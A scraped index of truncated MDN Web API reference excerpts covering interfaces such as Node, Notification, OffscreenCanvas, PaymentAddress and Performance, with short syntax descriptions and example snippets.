this can be used to select high definition content or low definition content based on the user's connection. the entire api consists of the addition of the networkinformation interface and a single property to the navigator interface: navigator.connection. note: this feature is available in web workers. examples detect connection changes this example watches for changes to the user's connection. ...
Node.baseURI - Web APIs
Web › API › Node › baseURI
solve relative urls when the browser needs to obtain an absolute url, for example when processing the html <img> element's src attribute or xml xlink:href attribute. in most cases the base url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. it may be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an ht...
Node.childNodes - Web APIs
Web › API › Node › childNodes
to get data from node objects, use their properties. (for example, to get the name of the first childnode: elementnodereference.childnodes[1].nodename.) the document object itself has 2 children: the doctype declaration and the root element, typically referred to as documentelement. (in (x)html documents this is the html element.) childnodes ...
Node.isSupported() - Web APIs
Web › API › Node › isSupported
the node.issupported()returns a boolean flag containing the result of a test whether the dom implementation implements a specific feature and this feature is supported by the specific node. syntax boolvalue = element.issupported(feature, version) parameters feature is a domstring containing the name of the feature to test. this is the same name which can be passed to the method hasfeature on domimplementation. possible values defined within the core dom specification are listed on the dom level 2 conformance section. version is a domstring containing the version number of the feature to test. in dom level 2, version 1, this is the string 2.0. if the version is not specified, supporting any version of the feature will cause the method to return true. example <div id="doc"> </di...
Node.lookupNamespaceURI() - Web APIs
the node.lookupnamespaceuri() method accepts a prefix and returns the namespace uri associated with it on the given node if found (and null if not). syntax var namespace = node.lookupnamespaceuri(prefix); parameters prefix the prefix to look for. if this parameter is null, the method will return the default namespace uri, if any. return value a domstring containing the the namespace uri. if the prefix is not found, it returns null. specifications specification status comment domthe definition of 'node: lookupnamespaceuri' in that specification. living standard ...
Node.lookupPrefix() - Web APIs
Web › API › Node › lookupPrefix
when multiple prefixes are possible, the result is implementation-dependent. ...
Notation - Web APIs
Web › API › Notation
represents a dtd notation (read-only). may declare format of an unparsed entity or formally declare the document's processing instruction targets. inherits methods and properties from node. its nodename is the notation name. has no parent. properties notation.publicid read only is a domstring. notation.systemid read only is a domstring. specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'notation' in that specification. obsolete no change document object model (dom) level 2 core specificationthe definition of 'notation' in that specification. obsolete no change document object model (dom) level 1 specificationthe definition of 'notation' in that speci...
Notification.body - Web APIs
Web › API › Notification › body
note: this feature is available in web workers. the body read-only property of the notification interface indicates the body string of the notification, as specified in the body option of the notification() constructor. syntax var body = notification.body; value a domstring. examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification. living standard living standard ...
Notification.dir - Web APIs
Web › API › Notification › dir
possible values are: auto: adopts the browser's language setting behaviour (the default.) ltr: left to right. rtl : right to left. ...
Notification.lang - Web APIs
Web › API › Notification › lang
note: this feature is available in web workers. the lang read-only property of the notification interface indicates the language used in the notification, as specified in the lang option of the notification() constructor. the language itself is specified using a domstring representing a bcp 47 language tag. see the sitepoint iso 2 letter language codes page for a simple reference. syntax var language = notification.lang; value a domstring specifying the language tag. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', lang: 'en-us' } var n = new notification('test notification',options); console.log(n.lang) // should ...
Notification.permission - Web APIs
the value can be: granted: the user has explicitly granted permission for the current origin to display system notifications. ...
Notification.requestPermission() - Web APIs
mission().then(function(permission) { ... }); previously, the syntax was based on a simple callback; this version is now deprecated: notification.requestpermission(callback); parameters callback optional deprecated since gecko 46 an optional callback function that is called with the permission value. deprecated in favor of the promise return value. returns a promise that resolves to a domstring with the permission picked by the user. possible values for this string are: granted denied default examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check i...
Notification.tag - Web APIs
Web › API › Notification › tag
notification, as specified in the tag option of the notification() constructor. the idea of notification tags is that more than one notification can share the same tag, linking them together. one notification can then be programmatically replaced with another to avoid the users' screen being filled up with a huge number of similar notifications. syntax var tag = notification.tag; value a domstring. examples our using the notifications api article has a good example of tag usage. specifications specification status comment notifications apithe definition of 'tag' in that specification. living standard living standard ...
Notification.title - Web APIs
note: this feature is available in web workers. the title read-only property of the notification interface indicates the title of the notification, as specified in the title parameter of the notification() constructor. syntax var title = notification.title; value a domstring. examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification. living standard living standard ...
Notification - Web APIs
constructor notification() creates a new instance of the notification object. properties static properties these properties are available only on the notification object itself. ...
NotificationAction - Web APIs
properties instance properties these properties are available only on instances of the notification object. ...
NotificationEvent.action - Web APIs
returns the string id of the notification button the user clicked. this value returns an empty string if the user clicked the notification somewhere other than an action button, or the notification does not have a button. the notification id is set during the creation of the notification via the actions array attribute and can't be modified unless the notification is replaced. returns a domstring object. example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status com...
Using the Notifications API - Web APIs
s. typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications. the system notification system will vary of course by platform and browser, but this is ok, and the notifications api is written to be general enough for compatibility with most system notification systems. examples one of the most obvious use cases for web notifications is a web-based mail or irc application that needs to notify the user when a new message is received, even if the user is doing something else with another application. many examples of this now exist, such as slack. we've written a real world example — a to-do list app — to give more of an idea of how web notifications can b...
Notifications API - Web APIs
note: this feature is available in web workers. the notifications api allows web pages to control the display of system notifications to the end user. these are outside the top-level browsing context viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app. the api is designed to be compatible with existing notification systems, across different platforms. concepts and usage on supported platforms, showing a system notification generally involves two things. first, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the notification.requestpermission() method. this should be done in response to a user gesture, such as clicking a button...
OfflineAudioContext.startRendering() - Web APIs
rent scheduled changes. the complete event (of type offlineaudiocompletionevent) is raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property. browsers currently support two versions of the startrendering() method — an older event-based version and a newer promise-based version. the former will eventually be removed, but currently both mechanisms are provided for legacy reasons. syntax event-based version: offlineaudioctx.startrendering(); offlineaudioctx.oncomplete = function(e) { // e.renderedbuffer contains the output buffer } promise-based version: offlineaudioctx.startrendering().then(function(buffer) { // buffer contains the output buffer }); parameters none. returns void. example in this simple example, we declare ...
OffscreenCanvas.convertToBlob() - Web APIs
) method creates a blob object representing the image contained in the canvas. syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var...
OffscreenCanvas.convertToBlob() - Web APIs
()method creates a blob object representing the image contained in the canvas. syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var...
OffscreenCanvas.getContext() - Web APIs
the offscreencanvas.getcontext() method returns a drawing context for an offscreen canvas, or null if the context identifier is not supported. note: this api is currently implemented for webgl1 and webgl2 contexts only. see bug 801176 for canvas 2d api support from workers. syntax offscreen.getcontext(contexttype, contextattributes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas. possible values are: "2d" creates a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" creates a webglrenderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 1 (opengl es 2.0). "...
OffscreenCanvas.convertToBlob() - Web APIs
method creates a blob object representing the image contained in the canvas. syntax promise<blob> offscreencanvas.converttoblob(options); parameters options optional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var...
OscillatorNode.setPeriodicWave() - Web APIs
value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs a an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. specifications specification status comment web audio apithe definition of 'setperiodicwave' in that specification. working draft ...
OscillatorNode - Web APIs
om". the default is "sine". event handlers oscillatornode.onended sets the event handler for the ended event, which fires when the tone has stopped playing. methods inherits methods from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard waveforms; calling this sets the type to custom. this replaces the now-obsolete oscillatornode.setwavetable() method. oscillatornode.start() specifies the exact time to start playing the tone. oscillatornode.stop() specifies the time to stop playing the tone. examples the following example shows basic usage of an audiocontext to create an oscillator node and to start playing a tone on it. for an app...
OverconstrainedError.OverconstrainedError() - Web APIs
candidate recommendation initial definition. ...
OverconstrainedError.constraint - Web APIs
candidate recommendation initial definition. ...
OverconstrainedError.message - Web APIs
the message read-only property of the overconstrainederror interface returns the text supplied in the constructor. syntax var message = overconstrainederror.message; value a domstring. specifications specification status comment media capture and streamsthe definition of 'message' in that specification. candidate recommendation initial definition. ...
OverconstrainedError.name - Web APIs
the name read-only property of the overconstrainederror interface will always return 'overconstrainederror'. syntax var name = overconstrainederror.name; value a domstring. specifications specification status comment media capture and streamsthe definition of 'name' in that specification. candidate recommendation initial definition. ...
PannerNode.distanceModel - Web APIs
specifications specification status comment web audio apithe definition of 'distancemodel' in that specification. working ...
PannerNode.maxDistance - Web APIs
specifications specification status comment web audio apithe definition of 'maxdistance' in that specification. working dr...
PannerNode.panningModel - Web APIs
specifications specification status comment web audio apithe definition of 'panningmodel' in that specification. working d...
PannerNode.refDistance - Web APIs
working draft ...
PannerNode.rolloffFactor - Web APIs
working draft ...
PannerNode.setOrientation() - Web APIs
parameters x the x value of the panner's direction vector in 3d space. y the y value of the panner's direction vector in 3d space. z the z val...
PannerNode.setPosition() - Web APIs
parameters x the x position of the panner in 3d space. y the y position of the panner in 3d space. z the z position of the panner in 3d space.
PannerNode - Web APIs
specifications specification status comment web audio apithe definition of 'pannernode' in that specification. working dra...
ParentNode.append() - Web APIs
Web › API › ParentNode › append
the parentnode.append() method inserts a set of node objects or domstring objects after the last child of the parentnode. domstring objects are inserted as equivalent text nodes. differences from node.appendchild(): parentnode.append() allows you to also append domstring objects, whereas node.appendchild() only accepts node objects. parentnode.append() has no return value, whereas node.appendchild() returns the appended node object. parentnode.append() can append several nodes and strings, whereas node.appendchild() can only append one node. syntax // [throws, unscopable] parentnode.append(...nodesordomstrings) // returns undefined parameters nodes a set of node or domstring objects to insert. exceptions hierarchyrequesterror: node cannot be inserted at the specified poi...
ParentNode.prepend() - Web APIs
syntax parentnode.prepend(...nodestoprepend); parameters nodestoprepend one or more nodes to insert before the first child node currently in the parentnode. each node can be specified as either a node object or as a string; strings are inserted as new text nodes. return value undefined. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
ParentNode.querySelector() - Web APIs
pecified group of selectors which are descendants of the object on which the method was called. if you need all the elements matching the selector list, use queryselectorall() instead. note: this method is implemented as document.queryselector(), documentfragment.queryselector() and element.queryselector(). syntax element = parentnode.queryselector(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid compound selector list supported by the browser; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using commas. note: characters which are not part of ...
ParentNode - Web APIs
its non-element nodes. parentnode.firstelementchild read only returns the first node which is both a child of this parentnode and is also an element, or null if there is none. parentnode.lastelementchild read only returns the last node which is both a child of this parentnode and is an element, or null if there is none. methods parentnode.append() inserts a set of node objects or domstring objects after the last child of the parentnode. domstring objects are inserted as equivalent text nodes. parentnode.prepend() inserts a set of node objects or domstring objects before the first child of the parentnode. domstring objects are inserted as equivalent text nodes. parentnode.queryselector() returns the first element with the current element as root that matches the specified...
PayerErrors.email - Web APIs
Web › API › PayerErrors › email
s object if the paymentresponse.payeremail property failed validation; in this case, the property should contain a string describing how to correct the problem. if the payer's email address passed validation, this property is not included in the payererrors object. syntax payeremail = payererrors.email; value if validation of the payer's email address (paymentresponse.payeremail) found problems, this property should be set to a domstring that explains the validation problem and how to correct it. if the email address is valid, this property should be omitted from the payererrors object. example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payere...
PayerErrors.name - Web APIs
Web › API › PayerErrors › name
payername returned in the response couldn't be validated. the value is a string explaining the problem. if the payer's name validated successfully, the name property is omitted from the payererrors object. syntax payername = payererrors.name; value if this property is present in the payererrors object, the payer's name couldn't be successfully validated, and the name property's value is a domstring explaining the error. this string will be displayed to the user by the user agent's payment handling user interface. if the payer's name is valid, this property is left out of the payererrors object. example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { ...
PayerErrors.phone - Web APIs
Web › API › PayerErrors › phone
a valid phone number. the value of this property is a string explaining the problem. if the payer's phone number validated successfully, the phone property is omitted from the payererrors object. syntax payerphone = payererrors.phone; value if this property is present in the payererrors object, the payer's phone number couldn't be successfully validated, and the phone property's value is a domstring explaining the error. this string will be displayed to the user by the user agent's payment handling user interface as appropriate. if the phone number is valid, this property is omitted from the payererrors object. example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response...
PaymentAddress.addressLine - Web APIs
the addressline read-only property of the paymentaddress interface is an array of domstring objects, each specifying a line of the address that is not covered by one of the other properties of paymentaddress. these lines may include the street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box. syntax var paymentaddresslines = paymentaddress.addressline; value an array of domstring objects, each containing one line of the address. for example, the addressline array for the mozilla space in london would have the following entries: example showing addressline entries for an address in london index addressline[] value 0 metal box factory 1 suite 441, 4th floor 2 30 great guildford st...
PaymentAddress.city - Web APIs
the city read-only property of the paymentaddress interface returns a string containing the city or town portion of the address. syntax var paymentcity = paymentaddress.city; value a domstring indicating the city or town portion of the address described by the paymentaddress object. specifications specification status comment payment request apithe definition of 'paymentaddress.city' in that specification. candidate recommendation initial definition. ...
PaymentAddress.country - Web APIs
the country read-only property of the paymentaddress interface is a string identifying the address's country using the iso 3166-1 alpha-2 standard. the string is always in its canonical upper-case form. some examples of valid country values: "us", "gb", "cn", or "jp". ...
PaymentAddress.dependentLocality - Web APIs
the read-only dependentlocality property of the paymentaddress interface is a string containing a sublocality designation within a city, such as a neighborhood, borough, district, or, in the united kingdom, a dependent locality. also known as a post town. syntax var paymentdependentlocality = paymentaddress.dependentlocality; value a domstring indicating the sublocality portion of the address. this may be an empty string if no sublocality is available or required. it's used to provide disambiguation when a city may include areas that duplicate street names a sublocality is an area within a city, such as a neighborhood, borough, or district. in the united kingdom, this is used to indicate the post town in the united kingdom (known officially by the royal mail as the dependent locality)...
PaymentAddress.languageCode - Web APIs
the languagecode read-only property of the paymentaddress interface returns a string containing the bcp-47 language code for the address. this is used while localizing the displayy of the address, allowing the determination of the field separators and the order of fields when formatting the address. syntax var paymentlanguagecode = paymentaddress.languagecode; value a domstring providing the bcp-47 format language code indicating the language the address was written in, such as "en-us", "pt-br", or "ja-jp". ...
PaymentAddress.organization - Web APIs
the organization read-only property of the paymentaddress interface returns a string containing the name of the organization, firm, company, or institution at the address. syntax var paymentorganization = paymentaddress.organization; value a domstring whose value is the name of the organization or company located at the address described by the paymentaddress object. this should be the name of the organization that is to receive the shipment for shipping addresses, or which is repsonsible for payment for payment addresses. specifications specification status comment payment request apithe definition of 'paymentaddress.organization' in that specification. candidate recommendation initial definition. ...
PaymentAddress.phone - Web APIs
if no phone number is available, this value is an empty string. ...
PaymentAddress.postalCode - Web APIs
the postalcode read-only property of the paymentaddress interface returns a string containing a code used by a jurisdiction for mail routing, for example, the zip code in the united states or the postal index number (pin code) in india. syntax var paymentpostalcode = paymentaddress.postalcode; value a domstring which contains the postal code portion of the address. a postal code is a string (either numeric or alphanumeric) which is used by a postal service to optimize mail routing and delivery. various countries use different terms for this. in most of the world, it's known as the "post code" or "postal code." in the united states, the zip code is used. india uses pin codes. specifications specification status comment payment request apithe definition of 'paym...
PaymentAddress.recipient - Web APIs
the read-only recipient property of the paymentaddress interface returns a string containing the name of the recipient, purchaser, or contact person at the payment address. syntax var paymentrecipient = paymentaddress.recipient; value a domstring giving the name of the person receiving or paying for the purchase, or the name of a contact person in other contexts. if no name is available, this string is empty. specifications specification status comment payment request apithe definition of 'paymentaddress.recipient' in that specification. candidate recommendation initial definition. ...
PaymentAddress.region - Web APIs
the read-only region property of the paymentaddress interface returns a string containing the top-level administrative subdivision of the country in which the address is located. for example, this may be a state, province, oblast, or prefecture. syntax var paymentregion = paymentaddress.region; value a domstring specifying the top-level administrative subdivision within the country in which the address is located. this region has different names in different countries, such as: state, province, oblast, prefecture, or county. usage notes in some countries, like belgium, it's uncommon for people to provide a region as part of their postal address. in such cases, the browser returns an empty string as the value of region. however, the address should still be acceptable to use for its int...
PaymentAddress.regionCode - Web APIs
the regioncode read-only attribute of the paymentaddress interface returns a one-, two-, or three-alphanumeric code (domstring) representing the region of the address (e.g., "ca" for california, or "11" for lisbon, portugal). the code is derived from the iso 3166-2 standard, which defines codes for identifying the subdivisions (e.g., states, provinces, autonomous regions, etc.) of all countries in the world. if the browser can't determine the region code, or the country doesn't use regions for postal addresses, it returns an empty string. syntax var regioncode = paymentaddress.regioncode; value a domstring indicating the one to three character alphanumeric code representing the region portion of the address. this should correspond to region, but should be the iso 3166--2 standard's ...
PaymentAddress.sortingCode - Web APIs
the sortingcode read-only property of the paymentaddress interface returns a string containing a postal sorting code such as is used in france. syntax var sortingcode = paymentaddress.sortingcode; value a domstring containing the sorting code portion of the address. specifications specification status comment payment request apithe definition of 'paymentaddress.sortingcode' in that specification. candidate recommendation initial definition. ...
PaymentCurrencyAmount.currency - Web APIs
this is the currency in which the payment's value is given. all currency values must include the currency system in this property. ...
PaymentCurrencyAmount.currencySystem - Web APIs
e standard being used to specify the currency the value is specified in. for example, the default is urn:iso:std:iso:4217, which specifies that the standard used is iso 4217. warning: this property has been removed from the specification and should no longer be used; the currency is now always specified using iso 4127. syntax currencysystem = paymentcurrencyamount.currencysystem; value a domstring which specifies the currency standard used to specify the currency in which the payment value is represented. the default, urn:iso:std:iso:4217, indicates the iso 4217 standard. this obsolete property was removed in the may 3, 2018 update of the payment request api specification. specifications specification status comment payment request apithe definition of 'paym...
PaymentCurrencyAmount.value - Web APIs
to indicate a negative value, such as to represent a refund or discount. important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma. you must convert the entered text to this form or it will not be valid. syntax value = paymentcurrencyamount.value; value a domstring indicating the numeric value of the payment. this must be a valid decimal number, with an optional leading minus sign ("-"), then one or more decimal digits 0 through 9, optionally with a decimal point (".") with at least one digit following it to represent fractional units. there must not be any leading or trailing whitespace in the string. for uniformity and consistency, the value is alwa...
PaymentCurrencyAmount - Web APIs
properties all properties are required. currency a string containing a valid 3-letter iso 4217 currency identifier (iso 4217) indicating the currency used for the payment value. value a string containing a valid decimal value representing the mount of currency constituting the payment amount. ...
PaymentDetailsBase - Web APIs
the paymentdetailsbase dictionary is a mixin used by the paymentdetailsinit and paymentdetailsupdate dictionaries. it is never directly used by developers and is included here only to be used as the basis for those documents. properties displayitemsoptional an array of paymentitem objects, each describing one line item for the payment request. these represent the line items on a receipt or invoice. modifiersoptional an array of paymentdetailsmodifier objects, each describing a modifier for particular payment method identifiers. for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!"). shippingoptionsoptional an array of paymentshippingoption objects, each describing one available shipping option from which ...
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
the paymentdetailsupdate dictionary's shippingaddresserrors property, if present, contains an addresserrors object whose contents provide error messages for one or more of the values in the paymentaddress specified as paymentrequest.shippingaddress. syntax var addresserrors = paymentdetailsupdate.shippingaddresserrors; value an addresserrors object, which contains domstrings describing errors in the properties of a paymentaddress. for each property in paymentaddress, a property by the same name is found in shippingaddresserrors if and only if a validation error occurred for that property. in that case, the property in shippingaddresserrors is a string describing the validation error, ideally including suggestions about fixing the error. specifications specification...
PaymentItem - Web APIs
ject describing the monetary value of the item. label secure context a string specifying a human-readable name or description of the item or service being charged for. this may be displayed to the user by the user agent, depending on the design of the interface. pending secure context a boolean value which is true if the specified amount has not yet been finalized. this can be used to show items such as shipping or tax amounts that depend upon the selection of shipping address, shipping option, or so forth. the user agent may show this information but is not required to do so. specifications specification status comment payment request apithe definition of 'paymentitem' in that specification. candidate recommendation initial definition. ...
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent() constructor creates a new paymentmethodchangeevent object providing details about a paymentmethodchange event. syntax paymentmethodchangeevent = new paymentmethodchangeevent(type, options); parameters type a domstring which must contain the string paymentmethodchange, the name of the only type of event which uses the paymentmethodchangeevent interface. options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. methoddetails optional an object providing payment method-specific information describing the changes made to the pa...
PaymentMethodChangeEvent.methodName - Web APIs
h uniquely identifies the payment handler currently selected by the user. the payment handler may be a payment technology, such as apple pay or android pay, and each payment handler may support multiple payment methods; changes to the payment method within the payment handler are described by the paymentmethodchangeevent. syntax var methodname = paymentmethodchangeevent.methodname; value a domstring which uniquely identifies the currently-selected payment handler. this may be a string chosen from the list of standardized payment method identifiers, or a url used by the payment processing service. see payment method identifiers in payment request api for more information. the default value is the empty string, "". example this example uses the paymentmethodchange event to watch for ch...
PaymentMethodChangeEvent - Web APIs
thodchangeeventinit dictionary. properties in addition to the properties below, this interface includes properties inherited from paymentrequestupdateevent. methoddetails read only secure context an object containing payment method-specific data useful when handling a payment method change. if no such information is available, this value is null. methodname read only secure context a domstring containing the payment method identifier, a string which uniquely identifies a particular payment method. this identifier is usually a url used during the payment process, but may be a standardized non-url string as well, such as basic-card. the default value is the empty string, "". methods this interface includes methods inherited from paymentrequestupdateevent. specifications ...
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmerchantvalidation is invoked when the merchantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the merchant to validate themselves. this is usually the first event to be fired, and the user won't be able to proceed with a payment until the merchant validate themselves. this event is not be fired by all payment handlers. in particular, it's used by apple pay. syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use this payment handler. examples an example merchant validation handler ...
PaymentRequest.shippingAddress - Web APIs
candidate recommendation initial definition. browser compatibility the compatibility...
paymentRequestId - Web APIs
the paymentrequestid read-only property of the paymentrequestevent interface returns the id of the paymentrequest object. syntax var id = paymentrequestevent.paymentrequestid value a domstring contains the id. specifications specification status comment payment handler apithe definition of 'paymentrequestid' in that specification. working draft initial definition. ...
PaymentResponse.methodName - Web APIs
the methodname read-only property of the paymentresponse interface returns a string uniquely identifying the payment handler selected by the user. this string may be either one of the standardized payment method identifiers or a url used by the payment handler to process payments. syntax var methodname = paymentresponse.methodname; value a domstring uniquely identifying the payment handler being used to process the payment. this may be either a standardized identifier, or a url used by the payment processor to handle payments. see merchant validation in payment processing concepts for more information. example the following example extracts the method name from the paymentresponse object to the promise returned from paymentrequest.show(). in a real-world implementation this data wou...
Payment processing concepts - Web APIs
the payment request api makes it easy to handle payments in a web site or app. in this article, we'll take a look at how the api operates and what each of its components does. terminology before getting into the details of how the api operates, there are tems you'll need to know. payee (or merchant) the merchant—either a person or an organization—whose web site or app wishes to receive money through the payment request api. payer the person or organization making a purchase using a web site or app. the payer authenticates themselves, then authorizes payment, as required by the payment method. payment method the instrument by which payment is submitted, such as a credit card or online payment service. payment method provider an organization that provides the technology nee...
performance.clearMarks() - Web APIs
the clearmarks() method removes the named mark from the browser's performance entry buffer. if the method is called with no arguments, all performance entries with an entry type of "mark" will be removed from the performance entry buffer. note: this feature is available in web workers. syntax performance.clearmarks(); performance.clearmarks(name); arguments name optional a domstring representing the name of the timestamp. if this argument is omitted, all performance entries with an entry type of "mark" will be removed. return value void example the following example shows both uses of the clearmarks() method. // create a small helper to show how many performancemark entries there are. function logmarkcount() { console.log( "found this many entries: " + performance...
performance.clearMeasures() - Web APIs
e clearmeasures() method removes the named measure from the browser's performance entry buffer. if the method is called with no arguments, all performance entries with an entry type of "measure" will be removed from the performance entry buffer. note: this feature is available in web workers. syntax performance.clearmeasures(); performance.clearmeasures(name); arguments name optional a domstring representing the name of the timestamp. if this argument is omitted, all performance entries with an entry type of "measure" will be removed. return value void example the following example shows both uses of the clearmeasures() method. // create a small helper to show how many performancemeasure entries there are. function logmeasurecount() { console.log( "found this many ...
performance.getEntries() - Web APIs
r example by calling the mark() method) at explicit points in time. if you are only interested in performance entries of certain types or that have certain names, see getentriesbytype() and getentriesbyname(). note: this feature is available in web workers. syntax general syntax: entries = window.performance.getentries(); return value entries an array of performanceentry objects. the items will be in chronological order based on the entries' starttime. example function use_performanceentry_methods() { console.log("performanceentry tests ..."); if (performance.mark === undefined) { console.log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark...
performance.getEntriesByName() - Web APIs
type); arguments name the name of the entry to retrieve. type optional the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value entries a list of performanceentry objects that have the specified name and type. if the type argument is not specified, only the name will be used to determine the entries to return. the items will be in chronological order based on the entries' starttime. if no objects meet the specified criteria, an empty list is returned. example function use_performanceentry_methods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performan...
performance.getEntriesByType() - Web APIs
by calling the mark() method) at explicit points in time. note: this feature is available in web workers. syntax entries = window.performance.getentriesbytype(type); arguments type the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value entries a list of performanceentry objects that have the specified type. the items will be in chronological order based on the entries' starttime. if no objects have the specified type, or no argument is provided, an empty list is returned. example function useperformanceentrymethods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the ...
performance.mark() - Web APIs
Web › API › Performance › mark
the browser's performance entry buffer with the given name. the application defined timestamp can be retrieved by one of the performance interface's getentries*() methods (getentries(), getentriesbyname() or getentriesbytype()). the mark()'s stores its data internally as performanceentry. note: this feature is available in web workers. syntax performance.mark(name); arguments name a domstring representing the name of the mark. if the name given to this method already exists in the performancetiming interface, syntaxerror is thrown. return value void example the following example shows how to use mark() to create and retrieve performancemark entries. // create a bunch of marks. performance.mark("squirrel"); performance.mark("squirrel"); performance.mark("monkey"); perfo...
performance.measure() - Web APIs
timestamp. duration - set to a domhighrestimestamp that is the duration of the measure (typically, the end mark timestamp minus the start mark timestamp). note: this feature is available in web workers. syntax performance.measure(name); performance.measure(name, startmark); performance.measure(name, startmark, endmark); performance.measure(name, undefined, endmark); arguments name a domstring representing the name of the measure. startmark optional a domstring representing the name of the measure's starting mark. may also be the name of a performancetiming property. if it is omitted, then the start time will be the navigation start time. endmark optional a domstring representing the name of the measure's ending mark. may also be the name of a performancetiming property. if it...
PerformanceEntry.name - Web APIs
ntry.entrytype, as shown by the table below. value subtype entrytype values description url performanceframetiming, performancenavigationtiming frame, navigation the document's address. url performanceresourcetiming resource the resolved url of the requested resource. this value doesn't change even if the request is redirected. domstring performancemark mark the name used when the mark was created by calling performance.mark(). domstring performancemeasure measure name used when the measure was created by calling performance.measure(). domstring performancepainttiming paint either 'first-paint' or 'first-contentful-paint'. example the following example shows the use of the...
PerformanceEntry - Web APIs
ming performancenavigationtiming performanceresourcetiming performancepainttiming note: this feature is available in web workers. properties performanceentry.name read only a value that further specifies the value returned by the performanceentry.entrytype property. the value of both depends on the subtype. see property page for valid values. performanceentry.entrytype read only a domstring representing the type of performance metric such as, for example, "mark". see property page for valid values. performanceentry.starttime read only a domhighrestimestamp representing the starting time for the performance metric. performanceentry.duration read only a domhighrestimestamp representing the time value of the duration of the performance event. methods performanceentry.to...
PerformanceFrameTiming - Web APIs
e that provides frame timing data about the browser's event loop. a frame represents the amount of work a browser does in one event loop such as processing dom events, resizing, scrolling, rendering, css animations, etc.. a frame rate of 60fps (frames per second) for a 60hz refresh rate is the target for a good responsive user experience. this means the browser should process a frame in about 16.7ms. an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event. this information can be used to help identify areas that take too long to provide a good user experience. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.66666666666666...
PerformanceNavigationTiming - Web APIs
